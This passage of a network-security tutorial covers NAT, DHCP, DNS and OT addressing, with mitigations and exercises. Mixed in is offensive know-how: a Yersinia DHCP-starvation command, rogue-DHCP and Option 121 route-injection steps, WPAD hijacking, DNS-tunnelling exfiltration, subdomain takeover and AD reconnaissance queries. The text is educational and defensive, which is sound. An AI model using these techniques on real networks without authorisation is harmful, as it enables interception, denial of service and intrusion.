  1. Outbound connections bypass NAT protection entirely
     Malware can establish outbound connections to C2 servers
     NAT translates and allows these — it only blocks UNSOLICITED inbound

  2. NAT traversal techniques bypass inbound filtering:
     STUN (Session Traversal Utilities for NAT): used by WebRTC
     TURN (Traversal Using Relays around NAT): relay-based bypass
     UPnP (Universal Plug and Play): applications self-configure port forwarding
     ICMP tunnelling: encapsulate traffic in ICMP (sometimes passes NAT)

  3. UPnP is a significant vulnerability:
     By default, applications can call UPnP to open arbitrary port forwards
     Malware does this to create persistent inbound access

     # Check if UPnP is running on your router:
     sudo nmap -sU -p 1900 192.168.1.1        # SSDP/UPnP discovery
     upnpc -l                                  # List current port forwards (miniupnpc package)

  4. Application Layer Gateway (ALG) vulnerabilities:
     NAT must understand some protocols (FTP, SIP, H.323) to translate correctly
     ALG implementations have had vulnerabilities
     NAT-ALG for FTP has been exploited to reach internal hosts

Forensic implications of NAT:

Problem: NAT hides the true source of connections
  Security camera records show: IP 203.0.113.1 accessed the server
  But who was it? Could be any of 5,000 internal hosts using that NAT

Solution: NAT logging is mandatory for attribution
  Every enterprise firewall/NAT device should log:
  - Timestamp of translation creation
  - Inside local IP:port
  - Inside global IP:port
  - Outside IP:port
  - Protocol
  - Duration

  Without NAT logs, incident response attribution is impossible.
  Log format: May 29 10:00:01 firewall %NAT-6-LOG: TCP src 192.168.1.50:54321
              dst 203.0.113.50:80 translated to src 203.0.113.1:12345

Key Insight: NAT's protection is entirely passive — it blocks unsolicited inbound connections because there is no NAT entry to translate them. The moment a connection is initiated from inside (which malware always does), NAT becomes invisible. Every reverse shell, every HTTPS C2 beacon, every DNS tunnel — all traverse NAT without obstruction. NAT logging is the only forensic tool that allows attribution after an incident.

10. PAT — Port Address Translation

10.1 How PAT Differs from NAT

PAT (Port Address Translation), also called NAT Overload or NAPT (Network Address and Port Translation), is the specific technique that allows many private hosts to share a single public IP address by using different source port numbers to distinguish connections.

PAT in action — three internal hosts accessing the same web server:

Inside:                    Public:              Outside:
192.168.1.10:51000  ────→  1.2.3.4:40001 ────→  93.184.216.34:80
192.168.1.20:51000  ────→  1.2.3.4:40002 ────→  93.184.216.34:80
192.168.1.30:51000  ────→  1.2.3.4:40003 ────→  93.184.216.34:80

All three inside hosts use the same source port (51000) from their perspective.
PAT allocates unique source ports on the public side (40001, 40002, 40003).
The external server sees three connections from 1.2.3.4 on different source ports.
When response arrives to 1.2.3.4:40001, PAT knows to send it to 192.168.1.10:51000.

10.2 Port Exhaustion

PAT source ports are 16-bit (0-65535). With 1,024 reserved ports, approximately 64,511 simultaneous connections per public IP are theoretically possible. In practice, the limit is lower due to OS state, timeout timers, and memory.

Port exhaustion attack:
An attacker from inside the NAT could rapidly open connections to an external server, exhausting the PAT table and preventing other internal hosts from making new connections. This is a DoS attack against the NAT device itself.

Large-scale NAT and Carrier-Grade NAT (CGN):
ISPs use CGN (100.64.0.0/10 range) to NAT entire customer networks behind a shared IP. Multiple customers share one public IP. Port exhaustion here affects all sharing customers.

From a security/forensics perspective: CGN makes attribution even harder — millions of customers may share a single IP.

11. DHCP — How IP Addresses Are Assigned

11.1 The DORA Process

DHCP (Dynamic Host Configuration Protocol, RFC 2131) automates IP address assignment. The four-step process is called DORA:

CLIENT                                      DHCP SERVER
  │                                              │
  │ DISCOVER (broadcast, src: 0.0.0.0:68)       │
  │ ─────────────────────────────────────────→  │
  │ "I need an IP address"                       │
  │ Src IP: 0.0.0.0  (no IP yet)                │
  │ Dst IP: 255.255.255.255 (broadcast)          │
  │ Transaction ID: 0x12345678                   │
  │                                              │
  │ ←───────────────────────────────────────── │
  │ OFFER (unicast or broadcast)                 │
  │ "I offer you 192.168.1.50"                   │
  │ Offered IP: 192.168.1.50                     │
  │ Server IP: 192.168.1.1                       │
  │ Lease time: 86400 seconds (24 hours)         │
  │ Gateway: 192.168.1.1                         │
  │ DNS: 8.8.8.8, 8.8.4.4                       │
  │ Subnet mask: 255.255.255.0                   │
  │                                              │
  │ REQUEST (broadcast)                          │
  │ ─────────────────────────────────────────→  │
  │ "I accept 192.168.1.50 from server .1"       │
  │ Broadcast — informs other DHCP servers too   │
  │                                              │
  │ ←───────────────────────────────────────── │
  │ ACKNOWLEDGE (ACK)                            │
  │ "Confirmed. 192.168.1.50 is yours for 24h"  │
  │                                              │
  [Client configures interface with offered params]

DHCP Options — what DHCP can configure:

Option 1:   Subnet Mask
Option 3:   Default Gateway (Router)
Option 6:   DNS Servers
Option 12:  Hostname
Option 15:  Domain Name
Option 28:  Broadcast Address
Option 42:  NTP Servers
Option 43:  Vendor-specific options (used by PXE boot, VoIP phones, OT devices)
Option 51:  Lease Time
Option 54:  DHCP Server IP
Option 58:  Renewal Time (T1) — when to start renewing (50% of lease time)
Option 59:  Rebinding Time (T2) — when to broadcast for any DHCP server (87.5%)
Option 60:  Vendor Class Identifier (client announces its type)
Option 61:  Client Identifier (usually MAC address)
Option 66:  TFTP Server Name (for network boot)
Option 67:  Bootfile Name (for PXE boot)
Option 82:  DHCP Relay Agent Information (circuit ID, remote ID)
Option 119: Domain Search List
Option 121: Classless Static Routes (inject routes into clients)
Option 252: WPAD URL (web proxy auto-discovery — Option 252 is the de facto standard)

Option 121 — Classless Static Routes (CVE-2024-3661 / TunnelVision):
This is a critical vulnerability disclosed in May 2024. A rogue DHCP server can use Option 121 to inject arbitrary routes into a client's routing table. By routing all traffic through the attacker's gateway and adding a specific route for the VPN's traffic, the attacker can force VPN traffic outside the encrypted tunnel — bypassing VPN protections and enabling plaintext traffic interception.

Attack scenario:
1. Attacker deploys rogue DHCP server on Wi-Fi network
2. Serves Option 121: route 0.0.0.0/1 via attacker, 128.0.0.0/1 via attacker
   (Splits the default route — more specific than VPN's /0 route)
3. All traffic routes outside the VPN tunnel to the attacker
4. VPN client still shows "connected" — no indication of bypass

Affected: All OSes that honour DHCP Option 121 with VPN active
Not affected: Android (ignores Option 121), Linux with network namespace VPNs
Mitigations:
  - Run VPN in isolated network namespace (Linux)
  - Disable DHCP Option 121 processing
  - Use VPN with kill switch and route protection

11.2 DHCP Attacks

DHCP Starvation:

Attack:
  Attacker sends thousands of DHCP DISCOVER messages
  Each with a different spoofed MAC address (Option 61: Client Identifier)
  DHCP server allocates one IP per request
  IP pool is exhausted
  Legitimate clients receive no IP addresses → DoS

Tool: dhcpstarv, Yersinia
  sudo yersinia dhcp -attack 1    # DHCP starvation

Detection:
  DHCP server logs show massive number of DISCOVER/OFFER pairs
  Short time between pool exhaustion events
  Many entries in DHCP lease table with sequential MAC addresses (00:0c:29:xx:xx:xx format)

Mitigation:
  DHCP snooping on switches: limits DHCP messages per port per second
  Cisco: ip dhcp snooping limit rate 15  (15 DHCP packets/second max per port)

Rogue DHCP Server:

Attack:
  Attacker deploys their own DHCP server on the network
  Responds to DISCOVER messages faster than the legitimate server
  Clients accept the first OFFER received
  Attacker's OFFER configures:
    - Client's gateway: attacker's IP → all traffic through attacker (MITM)
    - Client's DNS: attacker's DNS server → DNS hijacking
    - Client's routes (Option 121): attacker's routes

This is the complete network takeover without touching a single firewall.

Detection:
  Multiple DHCP servers advertising on the network
  dhcpdump: capture all DHCP traffic and alert on unexpected server IPs
  DHCP snooping: designate trusted ports — only allow DHCP OFFER from trusted

Cisco DHCP snooping:
  ip dhcp snooping vlan 10          # Enable for VLAN 10
  ip dhcp snooping                  # Enable globally
  interface gi0/1
   ip dhcp snooping trust           # Uplink to real DHCP server — trusted
  interface gi0/2                   # User-facing ports — untrusted by default
   (DHCP OFFER from this port is dropped)

WPAD — Web Proxy Auto-Discovery (DHCP Option 252):

Attack chain:
1. DHCP server (rogue or legitimate) includes Option 252:
   wpad=http://wpad.company.local/wpad.dat
2. Browser fetches wpad.dat automatically
3. Attacker controls wpad.dat content
4. wpad.dat configures browser to use attacker as proxy
5. Attacker proxies and MITMs all HTTP/HTTPS traffic

Defence:
  Disable WPAD in browser settings
  Block port 80/8080 outbound to unknown hosts
  DHCP snooping prevents rogue DHCP from serving WPAD URL
  DNS: ensure wpad.<domain> does not resolve to attacker-controlled IP

# DHCP monitoring and analysis:
sudo dhcpdump -i eth0               # Monitor all DHCP traffic

# Capture DHCP traffic:
sudo tcpdump -i eth0 -n 'port 67 or port 68'

# Check DHCP lease information on Linux:
cat /var/lib/dhcp/dhclient.leases   # DHCP lease file
dhclient -v eth0 2>&1               # Verbose DHCP negotiation

# On Windows:
ipconfig /all                       # Shows DHCP server IP, lease times
ipconfig /release                   # Release current IP
ipconfig /renew                     # Get new IP from DHCP

Key Insight: DHCP is trusted implicitly by every OS — there is no authentication mechanism. The first server to respond wins. This means physical network access (plugging into an Ethernet port or connecting to Wi-Fi) combined with a rogue DHCP server grants an attacker full network MITM capability without any exploit. DHCP snooping is the only reliable mitigation, and it requires managed switch infrastructure.

12. DNS — How Names Become Addresses

12.1 The DNS Hierarchy

DNS is a globally distributed, hierarchical database. Understanding its structure is essential because attacks target every level of the hierarchy.

DNS Hierarchy:
                          . (Root)
                         / \
                        /   \
                      .com  .org  .net  .tr  .io  ...
                      /
                  google.com
                  /          \
           www.google.com   mail.google.com

Authoritative name servers exist at every level:
  Root: 13 root server clusters (a.root-servers.net through m.root-servers.net)
  TLD:  .com managed by Verisign, .org by PIR, .tr by NIC.tr, etc.
  Domain: google.com managed by Google's own nameservers (ns1.google.com, etc.)

12.2 DNS Resolution — The Complete Process

Query: What is the IP address of www.example.com?

1. Client checks local DNS cache → not found
   (Linux: /etc/hosts → /etc/nsswitch.conf → resolver)

2. Client queries configured resolver (stub resolver)
   Usually: ISP's DNS, 8.8.8.8, 1.1.1.1, or internal DNS server
   Type: Recursive query ("find the answer for me, wherever it is")

3. Resolver checks its cache → not found (assume cold start)

4. Resolver queries ROOT servers (hardcoded list of 13 clusters)
   Question: "Who handles .com?"
   Root response: "Ask c.gtld-servers.net (192.26.92.30) for .com"
   (Non-recursive, referral response)

5. Resolver queries .com TLD server (c.gtld-servers.net)
   Question: "Who handles example.com?"
   TLD response: "Ask ns1.example.com (93.184.216.x) for example.com"
   (Non-recursive, referral response)

6. Resolver queries example.com's authoritative server (ns1.example.com)
   Question: "What is the IP of www.example.com?"
   Auth server response: "www.example.com → 93.184.216.34 (A record, TTL=86400)"
   (Authoritative answer)

7. Resolver caches the answer for TTL seconds (86400 = 24 hours)
   Resolver sends answer to client

8. Client caches the answer for TTL seconds
   Client connects to 93.184.216.34

Total time: typically 50-300ms for cold query, <1ms for cached

12.3 DNS Security Mechanisms

DNSSEC — DNS Security Extensions:
DNSSEC adds cryptographic signatures to DNS records. The resolver can verify that the answer came from the legitimate authoritative server and was not tampered with.

DNSSEC chain of trust:
  Root (.) signs .com
  .com signs example.com
  example.com signs www.example.com record

Without DNSSEC: anyone who controls the network path can lie about DNS
With DNSSEC: forged records are rejected (wrong signature)

Check if a domain is DNSSEC-signed:
dig +dnssec www.cloudflare.com AAAA    # Look for AD flag (Authenticated Data)
dig DS cloudflare.com @8.8.8.8        # Check delegation signer record

Check DNSSEC validation at resolver:
dig +short sigchase www.cloudflare.com  # Full DNSSEC chain validation

DoH and DoT — Encrypted DNS:

DNS over HTTPS (DoH, RFC 8484):
  DNS queries sent as HTTPS requests to a DoH resolver
  Port 443 — indistinguishable from web traffic
  Prevents ISP/network-level DNS monitoring
  Prevents DNS hijacking by intermediate devices

  Disadvantage for defenders: traditional DNS monitoring is blind to DoH

DNS over TLS (DoT, RFC 7858):
  DNS queries encrypted with TLS
  Port 853 — distinct port, can be blocked if needed
  Easier for enterprises to manage than DoH

Configure DoH on Linux (systemd-resolved):
  sudo nano /etc/systemd/resolved.conf
  # Add:
  DNS=1.1.1.1 8.8.8.8
  DNSOverTLS=yes
  sudo systemctl restart systemd-resolved

12.4 DNS Attack Techniques

DNS Cache Poisoning:

Attack (Kaminsky Attack, 2008, Dan Kaminsky):
  Before the fix: DNS used sequential transaction IDs (16-bit)

  1. Attacker triggers resolver to query attacker-controlled domain
     (Forces a DNS query to flow through the process)
  2. Attacker floods resolver with forged responses:
     Claiming to be the authoritative server for "google.com"
     Each forged response has a different transaction ID
     When the attacker guesses the right ID, the poison is injected
  3. Resolver caches the fake record for TTL seconds
  4. All clients using that resolver get the fake IP for "google.com"

Fix: DNS source port randomisation + DNSSEC validation
     Resolver now uses random source port AND random transaction ID
     Probability of guessing both: 1/65535 × 1/65535 ≈ negligible

Modern DNS cache poisoning:
  Still occurs via:
  - Compromising the authoritative name server
  - BGP hijacking the IP space of the name server
  - MITM on unencrypted DNS (DoH/DoT mitigate)

Detection:
  Periodic DNS consistency checks from multiple vantage points
  Alert on TTL anomalies (poisoned records often have short/wrong TTL)
  DNSSEC validation rejects poisoned responses

DNS Tunnelling:

Concept: Encode arbitrary data in DNS queries and responses
         DNS is allowed through most firewalls
         Data exfiltration and C2 that bypasses network controls

Mechanism:
  Exfiltration direction (client → attacker):
    Encode data as subdomains: base64(data).attacker-domain.com
    Send DNS query for this "domain"
    Attacker controls the DNS server for attacker-domain.com
    DNS server receives the query, decodes the data from the subdomain
    Returns a valid (but irrelevant) DNS response

  Command direction (attacker → client):
    Attacker encodes commands in DNS responses (TXT records, CNAME, MX)
    Malware queries for specific subdomains and reads the response

Tools:
  iodine: Tunnels IP over DNS
  dnscat2: DNS-based C2 framework
  DNSExfiltrator: Data exfiltration via DNS
  Cobalt Strike: DNS C2 mode (commonly used by APT groups)

Detection:
  High DNS query volume from a single host (baseline: ~100 queries/minute normal)
  DNS queries with unusually long subdomains (>50 characters is suspicious)
  DNS queries to domains with high entropy subdomain labels
  DNS queries that don't correspond to network activity (no subsequent TCP connections)
  Queries for domains with randomised names (DGA — domain generation algorithm)

  # Detect long DNS queries in Wireshark:
  # Filter: dns and frame.len > 200

  # Command-line detection:
  sudo tcpdump -i eth0 -n 'port 53' -A | grep -E '\.[A-Za-z0-9+/]{20,}\.'

  # Passive DNS monitoring with zeek:
  # dns.log shows all DNS activity with full query names

Subdomain Takeover:

How it happens:
  1. Company creates CNAME: blog.company.com → company.github.io
  2. Company stops using GitHub Pages but forgets to remove the CNAME
  3. company.github.io is now "dangling" — no content claimed on GitHub
  4. Attacker creates GitHub Pages account for company.github.io
  5. Attacker now controls what blog.company.com serves
  6. Can serve phishing pages, malware, steal cookies (same origin as company.com)

High-profile impact: Subdomain takeover has been used to steal session cookies
from users visiting company subdomains, send phishing emails from legitimate
company domains, and bypass CSP policies.

Detection and prevention:
  Enumerate all DNS records and verify each CNAME target exists and is owned

  # Tools: subjack, tko-subs, can-i-take-over-xyz (GitHub)
  subjack -w subdomains.txt -t 100 -o results.txt -ssl

  # Manual check:
  dig CNAME blog.company.com +short           # Find CNAME target
  curl -I https://company.github.io           # Verify target exists
  # If 404 or "page not found" → potentially takeable

# DNS reconnaissance toolkit:

# Basic lookups:
dig example.com A                   # A record (IPv4)
dig example.com AAAA                # AAAA record (IPv6)
dig example.com MX                  # Mail exchange
dig example.com TXT                 # Text records (SPF, DKIM, DMARC, etc.)
dig example.com NS                  # Name servers
dig example.com SOA                 # Start of Authority
dig -x 8.8.8.8                     # Reverse lookup (PTR record)

# Using specific DNS server:
dig @8.8.8.8 example.com A          # Use Google DNS
dig @1.1.1.1 example.com A          # Use Cloudflare DNS

# Zone transfer attempt (often blocked, but reveals misconfigured DNS):
dig axfr @ns1.example.com example.com
# If successful: dumps entire DNS zone (all records)
# This is a critical misconfiguration — exposes all internal hostnames

# Subdomain enumeration:
# Passive (no direct queries to target):
subfinder -d example.com -o subdomains.txt    # Uses passive sources
amass enum -passive -d example.com

# Active (queries target DNS):
gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Brute force DNS with massDNS:
massdns -r resolvers.txt -t A -o S -w results.txt subdomains.txt

# Check for DNSSEC:
dig +dnssec example.com A

# Check SPF/DKIM/DMARC (email security):
dig TXT example.com | grep "v=spf"
dig TXT _dmarc.example.com
dig TXT default._domainkey.example.com

# Host discovery via reverse DNS (PTR records):
for i in $(seq 1 254); do
    host 192.168.1.$i 2>/dev/null | grep "domain name pointer" | awk '{print $NF}'
done

13. DNS Record Types — The Full Map

13.1 Essential DNS Record Types

Record  Type    Description                          Security Relevance
──────────────────────────────────────────────────────────────────────────────
A       1       IPv4 address for a hostname          Primary attack target — poison this
                example.com → 93.184.216.34          = redirect all traffic

AAAA    28      IPv6 address for a hostname          Same as A but for IPv6
                example.com → 2606:2800:220:1:...    Often less monitored

MX      15      Mail server(s) for a domain          Target for: email spoofing,
                Priority + hostname                  finding mail servers to attack
                10 mail.example.com                 SPF/DKIM/DMARC use MX for context

CNAME   5       Canonical name (alias)               Dangling CNAME = subdomain takeover
                www.example.com → example.com        Multiple subdomains → single target
                                                    CDN configuration

TXT     16      Arbitrary text                       SPF: v=spf1 include:... -all
                                                    DKIM: public key for email signing
                                                    DMARC: v=DMARC1; p=reject; ...
                                                    Domain verification tokens
                                                    Can contain sensitive info (leak)

NS      2       Authoritative name servers           Compromise NS → own entire domain
                example.com NS ns1.example.com       BGP hijack NS IP → poison all records

PTR     12      Reverse DNS (IP → name)             Forensics: identify IPs in logs
                34.216.184.93.in-addr.arpa →        Email: servers without PTR rejected
                example.com                         Recon: find hostnames for IPs

SOA     6       Start of Authority                   Zone transfer: need SOA to start AXFR
                Primary NS, admin email, serials     Serial number reveals update frequency

SRV     33      Service location                     Active Directory critical:
                _kerberos._tcp.domain.com →          SRV records reveal DC location,
                priority weight port target          Kerberos port, LDAP servers
                                                    Used by attackers to find DCs without
                                                    scanning

CAA     257     Certification Authority Auth.        Restricts which CAs can issue certs
                example.com CAA "letsencrypt.org"    If missing: any CA can issue = risk

DNSKEY  48      DNSSEC public key                   Used to verify DNSSEC signatures
DS      43      Delegation Signer                   Links parent/child DNSSEC zones
RRSIG   46      Resource Record Signature           Cryptographic signature on records
NSEC    47      Next Secure (DNSSEC)                Zone walking: enumerate all records
NSEC3   50      Next Secure v3 (hashed)             Prevents zone walking

TLSA    52      TLS Authentication (DANE)            Certificate pinning via DNS
                Associate cert with domain           Requires DNSSEC

SPF     (TXT)   Sender Policy Framework             Which IPs may send email for domain
                v=spf1 ip4:1.2.3.0/24 -all         Missing SPF = email spoofing possible

DKIM    (TXT)   DomainKeys Identified Mail          Public key for email signature verification
                Public key for signature verify     Missing DKIM = email modification undetected

DMARC   (TXT)   Domain-based Message Auth.          Policy for SPF/DKIM failure
                v=DMARC1; p=reject                 p=none: monitor only
                rua=mailto:dmarc@example.com        p=quarantine: mark as spam
                                                   p=reject: reject → prevents phishing

13.2 Active Directory and DNS

Active Directory depends critically on DNS SRV records. When a Windows machine joins a domain, it queries DNS for SRV records to find domain controllers:

# These DNS queries reveal AD infrastructure:
dig _ldap._tcp.dc._msdcs.example.com SRV     # Find domain controllers (LDAP)
dig _kerberos._tcp.dc._msdcs.example.com SRV  # Find KDC (Kerberos)
dig _kpasswd._tcp.example.com SRV              # Find Kerberos password server
dig _gc._tcp.example.com SRV                  # Find Global Catalog server

# Example response:
# _ldap._tcp.dc._msdcs.example.com  600 IN SRV 0 100 389 dc1.example.com

# This tells an attacker: DC is at dc1.example.com on port 389
# No scanning required — DNS reveals the architecture

# Enumerate AD DNS from inside:
python3 -c "
import dns.resolver
domain = 'example.com'
for srvtype in ['_ldap._tcp.dc._msdcs', '_kerberos._tcp.dc._msdcs', '_gc._tcp']:
    try:
        answers = dns.resolver.resolve(f'{srvtype}.{domain}', 'SRV')
        for rdata in answers:
            print(f'{srvtype}: {rdata}')
    except: pass
"

13.3 Email Security DNS Records In Depth

Email spoofing — sending emails that appear to come from a legitimate domain — is trivially easy without proper DNS configuration.

SPF — Sender Policy Framework:

TXT record at the apex domain:
  v=spf1 ip4:203.0.113.0/24 include:sendgrid.net include:mailchimp.com ~all

Mechanisms:
  ip4:IP/mask    → Allow if source IP matches
  ip6:IP/mask    → Allow if source IPv6 matches
  a:hostname     → Allow if source IP is A record of hostname
  mx             → Allow if source IP is MX record of domain
  include:domain → Check that domain's SPF record too
  redirect:domain → Use another domain's SPF record entirely

Qualifiers (before mechanism):
  +  (Pass — allow): default, usually omitted
  -  (Fail — reject): hard fail
  ~  (SoftFail — mark): soft fail, usually accept but mark as suspicious
  ?  (Neutral): no assertion

All mechanism (at end):
  -all  → Hard fail all non-matching senders (recommended)
  ~all  → Soft fail all non-matching (less strict)
  +all  → Pass all (completely useless — anyone can send)
  ?all  → Neutral (nearly useless)

Security check:
dig TXT example.com | grep "v=spf1"
# No SPF record: anyone can spoof email from this domain
# SPF with +all or ?all: SPF is essentially disabled
# SPF with ~all: better, but still allows delivery
# SPF with -all: strongest protection

DKIM — DomainKeys Identified Mail:

TXT record at: selector._domainkey.domain.com
Example: default._domainkey.example.com

Content:
  v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...

How it works:
  1. Mail server signs outgoing email with private key
  2. Signature is added as a header: DKIM-Signature: v=1; a=rsa-sha256; ...
  3. Receiving server fetches public key from DNS
  4. Receiving server verifies signature
  5. If valid: email was not modified in transit, came from claimed domain

Attack without DKIM:
  Attacker intercepts email in transit
  Modifies content (changes bank account number, inserts malware link)
  No detection possible — email arrives with original From: header

Check DKIM:
dig TXT default._domainkey.example.com
# p= field is the public key
# If empty record or no record: DKIM not deployed

DMARC — Domain-based Message Authentication:

TXT record at: _dmarc.domain.com
Example: _dmarc.example.com  IN TXT  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; ruf=mailto:forensics@example.com; sp=reject; adkim=s; aspf=s; pct=100"

Tags:
  p=none       Monitor only — don't reject. Use during initial deployment.
  p=quarantine Send to spam if SPF/DKIM fail. Intermediate step.
  p=reject     Reject if SPF/DKIM fail. Maximum protection.

  rua= Aggregate reports URI (where to send daily summaries)
  ruf= Forensic reports URI (where to send per-failure reports)

  sp=  Policy for subdomains (same values as p=)
  pct= Percentage of mail to apply policy to (100 = all)

  adkim= DKIM alignment: r=relaxed, s=strict
  aspf=  SPF alignment: r=relaxed, s=strict

DMARC without DKIM/SPF: useless
DMARC with p=none: monitoring only, no protection
DMARC with p=reject: strongest — phishing using your domain fails at delivery

Check DMARC:
dig TXT _dmarc.example.com
# No record: DMARC not deployed — spoofing possible even with SPF
# p=none: monitoring only
# p=reject: strong protection

# Complete email security DNS audit:
DOMAIN="example.com"

echo "=== SPF ==="
dig TXT $DOMAIN | grep "v=spf1" || echo "NO SPF RECORD"

echo "=== DMARC ==="
dig TXT _dmarc.$DOMAIN | grep "v=DMARC1" || echo "NO DMARC RECORD"

echo "=== DKIM (common selectors) ==="
for selector in default google selector1 selector2 k1 s1 mail; do
    result=$(dig TXT ${selector}._domainkey.$DOMAIN 2>/dev/null | grep "v=DKIM1")
    [ -n "$result" ] && echo "DKIM found: selector=${selector}"
done

echo "=== MX records ==="
dig MX $DOMAIN +short

echo "=== CAA records ==="
dig CAA $DOMAIN +short || echo "NO CAA RECORD — any CA can issue certificates"

14. IP Addressing in OT/ICS Environments

14.1 Addressing Challenges Unique to OT

Industrial control systems present IP addressing challenges that do not exist in enterprise IT:

Static vs Dynamic Addressing:
Most OT devices use static IP addresses — DHCP is rarely used for PLCs, RTUs, and IEDs. The reasons are operational:

A PLC must be reachable at a known, fixed address for the HMI to communicate with it
DHCP lease renewal could theoretically interrupt communication at a critical moment
Legacy devices may not support DHCP

Static addressing in OT means:

IP addresses are documented (if you're lucky) or undocumented (common)
Asset inventory is manual and often out of date
Scanning the network for asset discovery causes operational concerns

Flat vs Segmented OT Networks:
Many industrial networks were designed without subnetting. Everything on one flat /24 or even /16. This is operationally simple but security catastrophic:

No segmentation between HMI, PLC, historian, engineering workstation
ARP poisoning reaches all devices
Compromised engineering workstation can reach all PLCs directly

The IT-OT Boundary:
The connection between corporate IT and OT networks is one of the most dangerous misconfiguration points. Common issues:

Router directly connecting IT /24 to OT /24 with no firewall
VLAN separation without firewall — same L3 router handles both
"Air-gapped" networks with unexpected connections (maintenance laptops, remote access for vendors)

# OT network IP discovery (non-disruptive methods):
# Passive discovery — listen only, no active scanning
sudo tcpdump -i eth0 -n -q 2>/dev/null | awk '{print $3}' | sort -u
# Captures source IPs from traffic — non-disruptive

# Passive ARP monitoring:
sudo arp-scan --localnet 2>/dev/null | grep -v "^Starting\|^Interface\|packets"
# ARP scan is L2 — does not touch PLCs/RTUs (they ignore ARP they don't need to answer)

# Active scanning RISK in OT:
# Nmap to a PLC can:
#   - Crash the PLC (some cannot handle SYN flood at scan speed)
#   - Trigger watchdog reset
#   - Fill the PLC's connection table
#   - Generate alarms in the control system
# ALWAYS get explicit permission from the system owner
# ALWAYS use very low scan rates: nmap -T0 -sn (ping only, paranoid timing)
# ALWAYS test on a non-production system first
# NEVER use -sS, -sV, -A on OT devices without explicit testing

# Safe active discovery for OT:
sudo nmap -T1 -sn 10.20.0.0/24     # Ping only, slow timing
# Even this should be approved — some OT devices respond unexpectedly to ICMP

14.2 DHCP in OT Environments

While PLCs and field devices use static IPs, other OT components may use DHCP:

Engineering workstations (EWS)
Human-Machine Interfaces (HMI) — some
Laptops used for maintenance
IP cameras and physical security devices
Network switches (management interface)

A rogue DHCP server in the OT network can poison the gateway for any DHCP-configured device. If the engineering workstation's gateway is poisoned, the attacker sees all communication between the EWS and the PLCs — including ladder logic uploads, configuration changes, and diagnostic data.

14.3 DNS in OT Environments

Most OT field devices (PLCs, RTUs) do not use DNS — they communicate by IP address directly, configured statically. However:

HMI and SCADA servers often use DNS to resolve historian server names, license servers, update servers
Engineering workstations use DNS for everything a standard Windows machine uses DNS for
Some modern PLCs (Siemens S7-1500, Allen-Bradley CompactLogix) support DNS for tag name resolution

DNS for OT attack reconnaissance:
Internal OT hostnames often follow naming conventions that reveal the network structure:

plc-production-1.ot.company.local
hmi-controlroom.ot.company.local
historian-01.ot.company.local
ews-engineer-1.ot.company.local

If an attacker gains access to a DNS server or captures DNS traffic, these hostnames reveal the OT architecture without any active scanning.

15. Hands-On Exercises

Exercise 1: Binary and Subnetting Mastery (45 minutes)

# Build a subnetting calculator from scratch in Python:
cat > /tmp/subnet_calc.py << 'EOF'
#!/usr/bin/env python3
"""
Manual subnetting calculator — build intuition by doing it step by step
"""

def decimal_to_binary(n):
    """Convert decimal to 8-bit binary string."""
    return format(n, '08b')

def ip_to_binary(ip):
    """Convert IP string to binary string."""
    octets = [int(o) for o in ip.split('.')]
    return '.'.join(decimal_to_binary(o) for o in octets)

def binary_to_ip(binary):
    """Convert 32-bit binary string to IP."""
    # Remove dots if present
    clean = binary.replace('.', '')
    octets = [int(clean[i:i+8], 2) for i in range(0, 32, 8)]
    return '.'.join(str(o) for o in octets)

def prefix_to_mask(prefix):
    """Convert prefix length to subnet mask."""
    mask_binary = '1' * prefix + '0' * (32 - prefix)
    return binary_to_ip(mask_binary)

def subnet_info(ip, prefix):
    """Calculate all subnet information."""
    print(f"\n{'='*50}")
    print(f"Input: {ip}/{prefix}")
    print(f"{'='*50}")

    # Convert to binary
    ip_bin = ip_to_binary(ip).replace('.', '')
    mask = prefix_to_mask(prefix)
    mask_bin = ip_to_binary(mask).replace('.', '')

    # Network address (AND)
    net_bin = ''.join('1' if ib == '1' and mb == '1' else '0'
                      for ib, mb in zip(ip_bin, mask_bin))

    # Broadcast (OR with inverted mask)
    wildcard_bin = ''.join('0' if b == '1' else '1' for b in mask_bin)
    bcast_bin = ''.join('1' if nb == '1' or wb == '1' else '0'
                        for nb, wb in zip(net_bin, wildcard_bin))

    network = binary_to_ip(net_bin)
    broadcast = binary_to_ip(bcast_bin)
    mask_str = mask
    wildcard = binary_to_ip(wildcard_bin)

    # Host count
    host_bits = 32 - prefix
    total = 2 ** host_bits
    usable = max(0, total - 2)

    # First and last host
    first_bin = net_bin[:-1] + '1' if prefix < 32 else net_bin
    last_bin = bcast_bin[:-1] + '0' if prefix < 32 else bcast_bin
    first_host = binary_to_ip(first_bin)
    last_host = binary_to_ip(last_bin)

    print(f"\nBinary representations:")
    print(f"  IP:       {ip_to_binary(ip)}")
    print(f"  Mask:     {ip_to_binary(mask)}")
    print(f"  Network:  {ip_to_binary(network)}")
    print(f"  Broadcast:{ip_to_binary(broadcast)}")

    print(f"\nDecimal values:")
    print(f"  Network address:   {network}")
    print(f"  Subnet mask:       {mask_str}")
    print(f"  Wildcard mask:     {wildcard}")
    print(f"  Broadcast address: {broadcast}")
    print(f"  First host:        {first_host}")
    print(f"  Last host:         {last_host}")
    print(f"  Usable hosts:      {usable}")

# Test cases:
subnet_info("192.168.1.100", 24)
subnet_info("10.0.0.1", 8)
subnet_info("172.16.5.200", 20)
subnet_info("192.168.10.130", 25)
EOF
python3 /tmp/subnet_calc.py

Exercise 2: DNS Reconnaissance (45 minutes)

# Complete DNS reconnaissance of a target domain
TARGET="cloudflare.com"   # Use a public domain — always legal to query public DNS

echo "=== Basic Records ==="
dig A $TARGET +short          # IPv4
dig AAAA $TARGET +short       # IPv6
dig MX $TARGET +short         # Mail servers
dig NS $TARGET +short         # Name servers
dig SOA $TARGET +short        # SOA

echo "=== Email Security ==="
dig TXT $TARGET | grep -E "v=spf1|v=DKIM1"
dig TXT _dmarc.$TARGET +short

echo "=== Zone Transfer Attempt ==="
NS=$(dig NS $TARGET +short | head -1)
dig axfr @$NS $TARGET 2>&1 | head -5
# Should fail with "Transfer failed" — success would be a misconfiguration

echo "=== Subdomain Enumeration (passive) ==="
# Using certificate transparency logs (no active scanning):
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" 2>/dev/null | \
    python3 -c "
import json, sys
data = json.load(sys.stdin)
names = set()
for cert in data:
    for name in cert.get('name_value', '').split('\n'):
        if name.endswith('.$TARGET'.replace('cloudflare.com', '')):
            names.add(name.strip())
for name in sorted(names)[:20]:
